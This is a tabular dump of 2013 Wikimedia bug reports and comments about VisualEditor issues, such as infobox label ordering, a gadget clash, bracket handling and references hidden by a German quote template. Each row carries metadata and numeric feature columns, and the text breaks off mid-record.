246157,VisualEditor: Disallow media items in other media items' captions,"Yeah, this is valid (if odd) wikitext, and so VisualEditor supports it.",,,1383759108,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zomjkczfpnrvxzpe4yzr,task_subcomment,,True,c1,3,True,,,18,,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5294117647058822,0.9411764705882353,"Yeah, this is valid (if odd) wikitext, and so VisualEditor supports it."
246152,VisualEditor: Disallow media items in other media items' captions,"I can't think where off the top of my head, but I have seen small inline images in image descriptions at en.wp before. I think it was being used as a key for the main image or something like that.

It's not common, but its the sort of thing that could be useful on occasion.",,,1379685701,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-zomjkczfpnrvxzpe4yzr,task_subcomment,,True,c1,3,False,,,11,,0.0,2.0,0.0,3.0,3.0,6.0,2.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,6.0,0.0,6.0,14.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,2.0,0.0,14.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,2.0,6.0,5.0,6.0,2.0,5.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,11.0,14.0,2.0,0.0,0.0,0.0,11.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,3.507936507936508,0.8095238095238095,"I can't think where off the top of my head, but I have seen small inline images in image descriptions at en.wp before. I think it was being used as a key for the main image or something like that.

It's not common, but its the sort of thing that could be useful on occasion."
55891,"When editing an infobox, the labels are sorted alphabetically and not in the original order","**Author:** `lionel.allorge`

**Description:**
In an infobox, items are in a certain logical order, for exemple, the image item and the caption are next to each other but the VisualEditor sort them alphabetically making it more difficult to find them.

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Linux
**Platform**: PC",Needs Triage,90.0,1378551060,1380655447.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-hesseird5ugq7qigg32p,task_description,resolved,True,c1,3,False,False,False,9,,1.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,13.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,6.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,2.0,1.0,1.0,0.0,0.0,3.4942528735632186,0.5747126436781609,"**Author:** CODE

**Description:**
In an infobox, items are in a certain logical order, for exemple, the image item and the caption are next to each other but the VisualEditor sort them alphabetically making it more difficult to find them.

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Linux
**Platform**: PC"
245698,"When editing an infobox, the labels are sorted alphabetically and not in the original order","Indeed, this is not optimal. I'm marking this as a duplicate of bug 51930 which offers a way to sort this. Unfortunately that depends on bug 53608 which is presently not assigned to anyone to work on.

*** This bug has been marked as a duplicate of bug 51930 ***",,,1380655447,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-hesseird5ugq7qigg32p,task_subcomment,,True,c1,3,False,,,13,,0.0,2.0,0.0,3.0,3.0,2.0,2.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,8.0,15.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,7.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,2.0,15.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,5.0,0.0,2.0,0.0,0.0,0.0,3.566666666666667,0.6,"Indeed, this is not optimal. I'm marking this as a duplicate of bug 51930 which offers a way to sort this. Unfortunately that depends on bug 53608 which is presently not assigned to anyone to work on.

*** This bug has been marked as a duplicate of bug 51930 ***"
55889,AssessmentBar gadget clashes with VisualEditor edit surface,"Bug pic

Should this happen or shouldn't it?
Btw, steps:
1*  Install AssessmentBar from https://en.wikipedia.org/wiki/User:YuviPanda/AssessmentBar
2* Go to an article.
3* Go down to a picture or find the infobox.
4* Click on the picture or infobox (when it's halfway through the AssessmentBar) and it will highlight the AssessmentBar (treating it like a picture or an infobox) AND/OR Click on the part of the AssessmentBar where the picture or infobox is getting highlighted and the infobox or picture will get selected instead of the AssessmentBar.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11559}",Needs Triage,90.0,1378540620,1378918457.0,PHID-USER-wel3wo6tppcxgnrthxls,False,,False,PHID-TASK-djpv4d2tw7he7bcaiwgo,task_description,invalid,True,c1,3,False,False,True,9,,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,3.0,6.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.5,2.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,10.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.5,12.0,1.0,6.5,8.5,0.0,0.0,0.0,0.0,4.5,0.0,2.5,0.0,2.0,6.5,4.0,0.5,0.0,0.0,2.0,0.0,1.0,2.5,0.0,1.5,0.0,0.0,1.0,3.7028985507246377,0.6521739130434783,"Bug pic

Should this happen or shouldn't it?
Btw, steps:
1*  Install AssessmentBar from URL
2* Go to an article.
3* Go down to a picture or find the infobox.
4* Click on the picture or infobox (when it's halfway through the AssessmentBar) and it will highlight the AssessmentBar (treating it like a picture or an infobox) AND/OR Click on the part of the AssessmentBar where the picture or infobox is getting highlighted and the infobox or picture will get selected instead of the AssessmentBar.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11559}"
245605,AssessmentBar gadget clashes with VisualEditor edit surface,"Thanks.
As we don't track specific gadgets in Bugzilla this should likely be reported under https://en.wikipedia.org/wiki/User_talk:YuviPanda/AssessmentBar instead.

Closing as INVALID because Bugzilla is not the right place to follow up on user scripts, not because there is no bug that should get fixed.",,,1378918457,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-djpv4d2tw7he7bcaiwgo,task_subcomment,,True,c1,3,True,,,10,,0.0,0.0,0.0,2.0,6.0,4.0,2.0,4.0,0.0,0.0,8.0,2.0,0.0,0.0,2.0,2.0,0.0,10.0,18.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,2.0,6.0,14.0,4.0,0.0,6.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,18.0,6.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.1,0.86,"Thanks.
As we don't track specific gadgets in Bugzilla this should likely be reported under URL instead.

Closing as INVALID because Bugzilla is not the right place to follow up on user scripts, not because there is no bug that should get fixed."
245600,AssessmentBar gadget clashes with VisualEditor edit surface,"Moving out of VisualEditor; in general, gadgets have to be made to work with VisualEditor and not the other way around.",,,1378914055,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-djpv4d2tw7he7bcaiwgo,task_subcomment,,True,c1,3,True,,,10,,0.0,0.0,0.0,4.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,12.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,25.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.125,0.9166666666666666,"Moving out of VisualEditor; in general, gadgets have to be made to work with VisualEditor and not the other way around."
245595,AssessmentBar gadget clashes with VisualEditor edit surface,CC'ing Yuvi as this covers AssessmentBar,,,1378909636,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-djpv4d2tw7he7bcaiwgo,task_subcomment,,True,c1,3,True,,,10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,5.833333333333333,1.0,CC'ing Yuvi as this covers AssessmentBar
55856,VisualEditor: weird behavior with double square brackets,"Try to start a line with a wikilinked word as you might do in the source editor.

1) Typing the opening double square brackets will not trigger the no-markup warning.
2) The opening brackets will immediately disappear, the closing ones will stay.
3) When you reach the second closing bracket, VE will also add another one on the following line. (If instead of moving to step 4 you use the keyboard arrows around the word, you will not be able anymore to type something outside the brackets, and will need your mouse to place yourself outside of them).
4) Keep typing something instead, then press Enter: whatever you added is automatically copied to the next line, while the ""third"" square bracket is furtherly moved onto the next line.
5) Now add the brackets to an already existing word, correctly triggering the warning. Save anyway.
6) Review the changes. The brackets that triggered the warning did not trigger the nowiki tags as well. An opening one and a closing one are gone, and what is left is weird anyway. (This can also be triggered before saving by hitting Back Space, but I can't say where).
The brackets that we added in the first place are all gone, the duplicated text is gone as well, just a lonely closing bracket stands still.

https://it.wikipedia.org/w/index.php?title=Utente%3AElitre_%28WMF%29%2FSandbox_VE&diff=61362482&oldid=61361463

Reminds me of https://bugzilla.wikimedia.org/show_bug.cgi?id=53079, actually.
Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=57207",Needs Triage,90.0,1378482300,1383759476.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-ktfyzhjkb3urubsydtou,task_description,declined,True,c1,3,False,False,False,9,,0.25,0.5,0.0,1.5,1.0,4.25,0.75,0.0,0.0,0.25,2.0,0.25,0.25,0.0,0.0,1.0,0.25,8.0,5.75,0.5,1.0,0.0,0.25,0.0,1.0,0.0,0.0,0.75,0.5,1.5,0.0,3.0,0.25,0.0,2.25,1.75,0.0,0.0,0.0,0.5,0.0,0.25,0.5,0.75,0.25,0.5,0.25,0.25,0.0,11.0,0.25,0.0,0.25,0.25,0.0,0.0,0.0,0.0,0.5,0.25,0.25,2.25,0.0,0.0,0.25,0.25,0.25,7.25,2.5,7.5,1.0,1.0,8.75,0.0,0.0,0.0,0.0,5.25,0.0,0.5,0.0,3.0,5.75,1.0,0.0,0.5,0.0,3.0,0.0,1.75,1.5,0.75,2.75,0.0,0.0,1.5,3.783749145591251,0.7001025290498974,"Try to start a line with a wikilinked word as you might do in the source editor.

1) Typing the opening double square brackets will not trigger the no-markup warning.
2) The opening brackets will immediately disappear, the closing ones will stay.
3) When you reach the second closing bracket, VE will also add another one on the following line. (If instead of moving to step 4 you use the keyboard arrows around the word, you will not be able anymore to type something outside the brackets, and will need your mouse to place yourself outside of them).
4) Keep typing something instead, then press Enter: whatever you added is automatically copied to the next line, while the ""third"" square bracket is furtherly moved onto the next line.
5) Now add the brackets to an already existing word, correctly triggering the warning. Save anyway.
6) Review the changes. The brackets that triggered the warning did not trigger the nowiki tags as well. An opening one and a closing one are gone, and what is left is weird anyway. (This can also be triggered before saving by hitting Back Space, but I can't say where).
The brackets that we added in the first place are all gone, the duplicated text is gone as well, just a lonely closing bracket stands still.

URL

Reminds me of URL actually.
Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
243320,VisualEditor: weird behavior with double square brackets,"I think this may have been a cacheing error? I can't reproduce, but it feels a lot like bug 53079, yes.",,,1383759476,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ktfyzhjkb3urubsydtou,task_subcomment,,True,c1,3,True,,,18,,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,8.0,4.0,8.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,8.0,4.0,4.0,0.0,12.0,4.0,0.0,4.0,0.0,0.0,12.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.1923076923076925,0.8846153846153846,"I think this may have been a cacheing error? I can't reproduce, but it feels a lot like bug 53079, yes."
55853,"VisualEditor: Editor changed a parameter in a template, but the parameter was removed when they clicked ""Apply Changes""","A user at it.wp reports that he could not successfully replace a picture with this edit https://it.wikipedia.org/w/index.php?title=Castello_di_Serravalle_%28Bosa%29&diff=61339995&oldid=61339964, although he managed to do so on other occasions, so he knows how it works.
He just replaced Bosa Castle.jpg with Veduta del Castello.JPG, and correctly previewed the latter.
But upon saving, the pic was gone - the field is empty. He tried again later, and managed to reproduce this behavior.
Other users, including me, are not able to reproduce this.
He's using Chrome with Snow Leopard. Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=62366",Needs Triage,90.0,1378478400,1383758872.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-53pjjq3mogcsnoshnrpu,task_description,declined,True,c1,3,False,False,False,9,,0.0,0.0,0.0,0.5,1.5,4.5,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,7.0,0.0,2.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.5,0.0,0.0,3.5,1.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.5,2.0,0.0,0.5,0.0,0.0,0.5,8.5,1.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,1.5,1.0,0.5,0.5,0.0,0.0,0.0,0.0,0.5,2.5,2.0,13.5,2.5,2.0,4.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,5.0,7.0,5.0,0.0,0.0,0.0,5.0,0.0,0.5,1.0,1.0,1.5,0.0,0.0,0.5,3.7276119402985075,0.705789235639982,"A user at it.wp reports that he could not successfully replace a picture with this edit URL although he managed to do so on other occasions, so he knows how it works.
He just replaced Bosa Castle.jpg with Veduta del Castello.JPG, and correctly previewed the latter.
But upon saving, the pic was gone - the field is empty. He tried again later, and managed to reproduce this behavior.
Other users, including me, are not able to reproduce this.
He's using Chrome with Snow Leopard. Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
243167,"VisualEditor: Editor changed a parameter in a template, but the parameter was removed when they clicked ""Apply Changes""","I can't quite understand this bug report - the user edited the template, changed the parameter for the image name, but when they applied the changes, the parameter was removed (and so no image)?

I'm going to mark as WORKSFORME, but please re-open if anyone can reproduce.",,,1383758872,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-53pjjq3mogcsnoshnrpu,task_subcomment,,True,c1,3,True,,,18,,0.0,2.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,3.0,0.0,0.0,0.0,3.0,0.0,7.0,8.0,2.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,5.0,3.0,5.0,13.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,5.0,8.0,2.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.783333333333333,0.7833333333333333,"I can't quite understand this bug report - the user edited the template, changed the parameter for the image name, but when they applied the changes, the parameter was removed (and so no image)?

I'm going to mark as WORKSFORME, but please re-open if anyone can reproduce."
55839,"VisualEditor: Wikitext warning not triggered by <references />, <i>, etc.","en.wp user Fram reports:
""When I add something that VE decides needs ""nowiki"", it usually gives the warning ""Wikitext markup detected"". However, when I add <references/> to the bottom of a page, he wraps it in ""nowiki""s, but no warning appears (while it does work with e.g. {{reflist}})""

My testing at https://en.wikipedia.org/w/index.php?title=User%3AThryduulf%2Fsandbox2&diff=571756019&oldid=570197356 shows that <i> and <small> also get nowikied without triggering the warning.

<!-- --> neither triggers the warning nor gets nowikied. I am about to start a discussion about whether that is desired or not.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=56213",Needs Triage,90.0,1378458780,1383758460.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-5usozn6lenkcoenzeuyk,task_description,declined,True,c1,3,False,False,False,9,,0.0,0.5,0.0,0.5,0.5,3.5,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,3.0,0.5,4.5,6.5,0.5,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,1.5,4.0,0.0,0.5,0.0,0.5,1.0,0.5,0.5,0.0,2.0,0.0,0.5,0.0,0.0,0.5,8.5,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.5,8.5,3.0,2.5,5.5,0.0,0.0,0.5,0.0,2.0,0.0,0.0,0.0,4.0,6.5,2.5,0.0,3.5,0.0,4.0,0.0,1.5,1.0,0.0,0.5,0.0,0.0,5.5,3.476846846846847,0.6907207207207207,"en.wp user Fram reports:
""When I add something that VE decides needs ""nowiki"", it usually gives the warning ""Wikitext markup detected"". However, when I add <references/> to the bottom of a page, he wraps it in ""nowiki""s, but no warning appears (while it does work with e.g. {{reflist}})""

My testing at URL shows that <i> and <small> also get nowikied without triggering the warning.

<!-- --> neither triggers the warning nor gets nowikied. I am about to start a discussion about whether that is desired or not.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
242407,"VisualEditor: Wikitext warning not triggered by <references />, <i>, etc.","This is intentional; adding a complete set of wikitext detection would be very burdensome (i.e. slow VE down for users) without adding a lot of value.

People who know complex things like HTML or advanced wikitext like <references /> will quickly learn that it doesn't work; this functionality is an aide-memoire for  newbies and rare users.

Marking as WONTFIX, but happy to discuss.",,,1383758460,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5usozn6lenkcoenzeuyk,task_subcomment,,True,c1,3,True,,,18,,0.0,0.0,1.0,0.0,1.0,10.0,4.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,3.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,1.0,19.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,4.0,4.0,8.0,1.0,4.0,6.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,1.0,13.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,4.0,0.0,4.0,0.0,0.0,4.0,4.10126582278481,0.8481012658227848,"This is intentional; adding a complete set of wikitext detection would be very burdensome (i.e. slow VE down for users) without adding a lot of value.

People who know complex things like HTML or advanced wikitext like <references /> will quickly learn that it doesn't work; this functionality is an aide-memoire for  newbies and rare users.

Marking as WONTFIX, but happy to discuss."
55777,De.WP's quote template eats refs (or gets eaten),"The German template for quotes:

https://de.wikipedia.org/wiki/Vorlage:Zitat

eats refs, or rather their display at the end of the article, if the refs are inserted in it & the article is loaded in VE. Example articles:

https://de.wikipedia.org/wiki/Arvo_P%C3%A4rt -> ref 5 & 8

https://de.wikipedia.org/wiki/The_Rolling_Stones -> 26, 123-125

https://de.wikipedia.org/wiki/Chick_Corea -> ref 12

Report:

https://de.wikipedia.org/w/index.php?title=Wikipedia:Technik/Text/Edit/VisualEditor/Beta2013-07&oldid=122231626#Einzelnachweise_am_Artikelende_werden_im_VE_nicht_angezeigt

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50474",Needs Triage,90.0,1378330980,1383003781.0,PHID-USER-wswkm7jrcwes3tc7o34k,True,,False,PHID-TASK-gcsogk6cy5vhnwnvhuql,task_description,resolved,True,c1,3,False,False,False,9,,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,15.0,1.0,3.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,0.0,2.0,6.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0103092783505154,0.5257731958762887,"The German template for quotes:

URL

eats refs, or rather their display at the end of the article, if the refs are inserted in it & the article is loaded in VE. Example articles:

URL -> ref 5 & 8

URL -> 26, 123-125

URL -> ref 12

Report:

URL

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
URL"
239324,De.WP's quote template eats refs (or gets eaten),"Merging this with bug 50474 which I have managed to determine that this is the same as that.

*** This bug has been marked as a duplicate of bug 50474 ***",,,1383003781,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-gcsogk6cy5vhnwnvhuql,task_subcomment,,True,c1,3,True,,,17,,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,8.0,3.0,0.0,19.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.3783783783783785,0.7027027027027027,"Merging this with bug 50474 which I have managed to determine that this is the same as that.

*** This bug has been marked as a duplicate of bug 50474 ***"
239318,De.WP's quote template eats refs (or gets eaten),"Updates:

Rolling Stones: The section Discografie

https://de.wikipedia.org/wiki/The_Rolling_Stones#Diskografie

includes another article inserted as template:

https://de.wikipedia.org/wiki/The_Rolling_Stones/Disko-_und_Videografie

However, the article isn't displayed in full but only relevant parts, picked by  onlyinclude-tags.

Shine a Light: The issue not included in a template is caused by something VE apparently can't handle in spelling out the ref name but Wikicode can: ""_"" vs "" "":

https://de.wikipedia.org/w/index.php?title=Shine_a_Light&diff=prev&oldid=122747897

The other two are eaten by the template, i.e. the same source is also referred to in refs outside the template and VE simply doesn't count the template-inserted refs.",,,1380840894,,PHID-USER-wswkm7jrcwes3tc7o34k,True,,,PHID-TASK-gcsogk6cy5vhnwnvhuql,task_subcomment,,True,c1,3,False,,,13,,0.0,0.5,0.0,2.5,2.5,3.5,0.0,0.0,0.0,0.0,4.5,2.0,0.0,0.5,0.0,0.0,0.0,6.0,8.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.5,2.5,9.5,0.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,8.5,5.0,0.0,3.5,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.5,3.915254237288136,0.728813559322034,"Updates:

Rolling Stones: The section Discografie

URL

includes another article inserted as template:

URL

However, the article isn't displayed in full but only relevant parts, picked by  onlyinclude-tags.

Shine a Light: The issue not included in a template is caused by something VE apparently can't handle in spelling out the ref name but Wikicode can: ""_"" vs "" "":

URL

The other two are eaten by the template, i.e. the same source is also referred to in refs outside the template and VE simply doesn't count the template-inserted refs."
239312,De.WP's quote template eats refs (or gets eaten),This looks like a side effect of the underlying problem in bug 50474.,,,1380552169,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-gcsogk6cy5vhnwnvhuql,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,4.071428571428571,1.0,This looks like a side effect of the underlying problem in bug 50474.
239305,De.WP's quote template eats refs (or gets eaten),"Chances are this issue is systemic; three more examples:

1) Info box for movie articles:

https://de.wikipedia.org/wiki/Vorlage:Infobox_Film

includes three refs in 

https://de.wikipedia.org/wiki/Shine_a_Light

and they all get eaten if the entry is loaded in VE.

2) Info box for corporate entities:

https://de.wikipedia.org/wiki/Vorlage:Infobox_Unternehmen

see the first four refs in 

https://de.wikipedia.org/wiki/Sony

3) https://de.wikipedia.org/wiki/Vorlage:Infobox_Chemikalie

eats the two included refs in:

